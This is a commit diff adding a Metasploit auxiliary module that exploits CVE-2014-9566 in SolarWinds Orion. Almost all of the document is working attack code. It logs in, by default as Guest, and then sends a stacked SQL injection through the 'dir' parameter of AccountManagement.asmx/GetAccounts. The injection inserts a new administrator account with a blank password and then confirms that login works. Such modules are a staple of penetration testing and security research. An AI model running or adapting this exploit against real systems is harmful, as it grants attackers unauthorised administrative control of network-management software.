Land rapid7#4836, Solarwinds Core Orion Service SQL injection

Author: wchen-r7

modules/auxiliary/gather/solarwinds_orion_sqli.rb

@@ -0,0 +1,100 @@
+##
+# This module requires Metasploit: http//:metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation',
+      'Description'    => %q{
+      This module exploits a stacked SQL injection in order to add an administrator user to the
+      SolarWinds Orion database.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Brandon Perry' #discovery/metasploit module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2014-9566']
+        ],
+      'DisclosureDate' => 'Feb 24 2015'
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(8787),
+        OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']),
+        OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']),
+        OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
+      ], self.class)
+
+  end
+
+  def login (username,password)
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx')
+    })
+
+    viewstate = $1 if res.body =~ /id="__VIEWSTATE" value="(.*)" \/>/
+
+    cookie = res.get_cookies
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx'),
+      'method' => 'POST',
+      'vars_post' => {
+        '__EVENTTARGET' => '',
+        '__EVENTARGUMENT' => '',
+        '__VIEWSTATE' => viewstate,
+        'ctl00$BodyContent$Username' => username,
+        'ctl00$BodyContent$Password' => password
+      },
+      'cookie' => cookie
+    })
+
+    if res.nil?
+      fail_with("Server didn't respond in an expected way")
+    end
+
+    if res.code == 200
+      fail_with("Authentication failed with username #{username}")
+    end
+
+    return cookie + ';' + res.get_cookies
+  end
+
+  def run
+    cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
+    username = Rex::Text.rand_text_alpha(8)
+
+    print_status("Logged in as #{datastore['USERNAME']}, sending payload to create #{username} admin user.")
+
+    send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'Orion', 'Services', 'AccountManagement.asmx' '/GetAccounts'),
+      'method' => 'POST',
+      'vars_get' => {
+        'sort' => 'Accounts.AccountID', #also vulnerable
+        'dir' => "ASC;insert into accounts values ('#{username}', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb  1 2100 12:00AM', 'Y', '#{username}', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');"
+      },
+      'data' => '{"accountId":""}',
+      'cookie' => cookie,
+      'ctype' => 'application/json'
+    })
+
+    login(username, '')
+
+    print_good("The injection worked, log in with #{username} and a blank password")
+  end
+end
+